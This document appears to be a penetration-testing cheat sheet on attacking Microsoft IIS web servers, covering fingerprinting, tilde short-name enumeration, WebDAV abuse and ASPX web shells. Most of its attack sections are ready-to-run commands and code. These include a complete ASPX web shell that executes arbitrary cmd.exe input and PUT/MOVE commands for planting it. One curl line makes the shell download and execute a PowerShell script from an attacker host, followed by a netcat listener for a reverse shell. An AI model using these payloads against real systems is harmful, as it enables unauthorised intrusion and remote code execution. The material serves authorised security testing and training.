☼
⌃
☰

IIS Penetration Testing

Table of Contents

Internet Information Services (IIS) is Microsoft's web server, running on Windows Server. Common in enterprise environments and Active Directory-joined networks. Default execution environment is ASP.NET — web shells and payloads target .aspx rather than .php. IIS misconfigurations are frequently the initial foothold in Windows-centric networks.

Related: Nmap Web Application Testing Methodology Content Discovery ffuf Webshell Msfvenom Reverse Shell

1. Fingerprinting

Version and Feature Detection

IIS version determines which vulnerabilities and techniques apply. Version is often disclosed in response headers.

SHELL
# Headers — Server header usually reveals IIS version
curl -sI http://$IP | grep -i "server\|x-powered-by\|x-aspnet"

# Nmap service version and script scan
nmap -sV -sC -p 80,443,8080,8443 $IP

# Nmap IIS-specific scripts
nmap -p 80 --script http-iis-webdav-vuln,http-methods,http-auth-info $IP
Header Example value Information
Server Microsoft-IIS/10.0 IIS version
X-Powered-By ASP.NET Confirms ASP.NET stack
X-AspNet-Version 4.0.30319 .NET framework version
X-AspNetMvc-Version 5.2 MVC framework version

IIS version to Windows Server mapping:

IIS Version Windows Server
6.0 2003
7.0 2008
7.5 2008 R2
8.5 2012 R2
10.0 2016 / 2019 / 2022

Enabled HTTP Methods

WebDAV and other dangerous methods must be explicitly checked — they are not always visible in normal browsing.

SHELL
# Check all enabled methods
nmap -p 80 --script http-methods --script-args http-methods.url-path='/' $IP

# Manual OPTIONS request
curl -s -X OPTIONS http://$IP/ -i | grep -i "allow\|public\|dav"

# davtest — checks WebDAV and which file types are uploadable
davtest -url http://$IP/webdav

If the Allow header includes PUT, COPY, MOVE, or DELETE, WebDAV is enabled — proceed to section 3.

2. Tilde Enumeration

IIS on Windows generates 8.3 short filenames for files and directories. On older IIS versions (6.0–8.5 and some 10.0 configurations) these short names are guessable via crafted requests, disclosing files and directories that are otherwise hidden from directory listing and content discovery.

A file named secret-config.aspx gets the 8.3 name SECRET~1.ASP. The tilde character in a request triggers IIS to resolve the short name, revealing that a file starting with those characters exists even when directory listing is disabled.

Check Vulnerability

SHELL
# Manual check — a 404 vs 400 response difference indicates vulnerability
curl -s -o /dev/null -w "%{http_code}" "http://$IP/*~1*/.aspx"
# 404 = potentially vulnerable; 400 = not vulnerable

Automated Enumeration

SHELL
# IIS shortname scanner — Python tool
python3 iis_shortname_scanner.py http://$IP/

# Alternatively via Metasploit
msfconsole -q -x "use auxiliary/scanner/http/iis_shortname_scanner; \
  set RHOSTS $IP; run; exit"

Interpreting Results

The scanner returns partial names:

Found: ASPNET~1    → file or directory starting with "aspnet"
Found: SECRET~1    → file or directory starting with "secret"
Found: UPLOAD~1    → directory starting with "upload"

Feed discovered partial names into ffuf to resolve full names:

SHELL
ffuf -u http://$IP/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
     -ic -fc 404 \
     | grep -i "secret\|upload\|aspnet"

3. WebDAV Exploitation

WebDAV (Web Distributed Authoring and Versioning) is an HTTP extension that enables file management over HTTP. Legitimate use case: remote file editing. Security risk: if misconfigured or unauthenticated, it allows direct file upload to the web root — including executable web shells.

Check WebDAV Authentication

SHELL
# cadaver — interactive WebDAV client
cadaver http://$IP/webdav
# If it connects without credentials, WebDAV is unauthenticated

# With credentials
cadaver http://$IP/webdav
# dav:/webdav/> enter username and password at prompt

Discover Uploadable File Types

Not all file types are executable even if uploadable. davtest identifies which types the server will execute:

SHELL
davtest -url http://$IP/webdav
# Reports: SUCCEED for uploadable types, EXEC for executable types

Target .aspx — if it shows as both uploadable and executable, proceed directly to shell upload.

Upload ASPX Web Shell

SHELL
# Copy the default IIS web shell (present on Kali)
cp /usr/share/webshells/aspx/cmdasp.aspx shell.aspx

# Upload via curl with PUT
curl -X PUT http://$IP/webdav/shell.aspx -d @shell.aspx

# Upload via cadaver
cadaver http://$IP/webdav
# dav:/webdav/> put shell.aspx

# If PUT is blocked but MOVE is allowed — upload as allowed type then move
curl -X PUT http://$IP/webdav/shell.txt -d @shell.aspx
curl -X MOVE http://$IP/webdav/shell.txt \
     -H "Destination: http://$IP/webdav/shell.aspx"

Upload via Metasploit

SHELL
msfconsole -q
use exploit/windows/iis/iis_webdav_upload_asp
set RHOSTS $IP
set RPORT 80
set PATH /webdav/shell.aspx
run

4. ASPX Web Shells

.aspx files execute server-side on IIS under the application pool identity — typically IIS APPPOOL\DefaultAppPool or NT AUTHORITY\NETWORK SERVICE. This is not SYSTEM but provides a foothold for privilege escalation.

Default Kali Web Shells

SHELL
ls /usr/share/webshells/aspx/
# cmdasp.aspx  — browser-based command execution form

Minimal ASPX Shell

ASPX \n`);copyBtnbtn_a9088907dc1d4d4faf36e3261c24b6cd.innerHTML = res ? '✓' : 'error';setTimeout(() => { copyBtnbtn_a9088907dc1d4d4faf36e3261c24b6cd.innerHTML = '⧉'}, 3000); });
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e) {
        string cmd = Request.QueryString["cmd"];
        if (cmd != null) {
            Process p = new Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.Arguments = "/c " + cmd;
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.Start();
            Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
        }
    }
</script>

Triggering Execution

SHELL
# Browser — navigate to uploaded shell
# http://$IP/webdav/shell.aspx?cmd=whoami

# curl
curl "http://$IP/webdav/shell.aspx?cmd=whoami"
curl "http://$IP/webdav/shell.aspx?cmd=ipconfig"
curl "http://$IP/webdav/shell.aspx?cmd=net+user"

# Escalate to reverse shell via web shell
curl "http://$IP/webdav/shell.aspx?cmd=powershell+-c+\
'IEX(New-Object+Net.WebClient).DownloadString(\"http://$ATTACKER_IP/rev.ps1\")'"

Set up listener before triggering:

SHELL
nc -lvnp 4444

5. Automation Summary

SHELL
# Full IIS enumeration sequence
TARGET=$IP

# 1. Version fingerprint
echo "[*] Fingerprinting..."
curl -sI http://$TARGET | grep -i "server\|x-powered-by\|x-aspnet"

# 2. HTTP methods
echo "[*] Checking methods..."
nmap -p 80 --script http-methods $TARGET

# 3. Tilde enumeration
echo "[*] Tilde enumeration..."
python3 iis_shortname_scanner.py http://$TARGET/

# 4. WebDAV check
echo "[*] WebDAV check..."
davtest -url http://$TARGET/webdav 2>/dev/null || \
  curl -s -X OPTIONS http://$TARGET/ -i | grep -i "allow"

# 5. Content discovery with IIS extensions
echo "[*] Content discovery..."
ffuf -u http://$TARGET/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
     -e .aspx,.asp,.config,.txt \
     -fc 404 -s

Tips

  • Always check HTTP methods early — an open PUT on any path is immediately exploitable without needing tilde enumeration first
  • Tilde enumeration is IIS-specific and version-dependent; it is most reliable on IIS 7.5 and below but worth trying on all versions
  • If .aspx upload via PUT is blocked, try the PUT-then-MOVE pattern — MOVE is often less restricted than PUT for executable types
  • The web shell runs as the application pool identity, not SYSTEM. Next step after shell is privilege escalation — check Persistence and Windows Privilege Escalation notes
  • web.config can also be weaponised on IIS — uploading a malicious web.config to a directory can enable script execution in that path even without .aspx upload rights
  • Check \inetpub\wwwroot and \inetpub\logs after gaining access — logs reveal other visitors, and the wwwroot may contain credentials in config files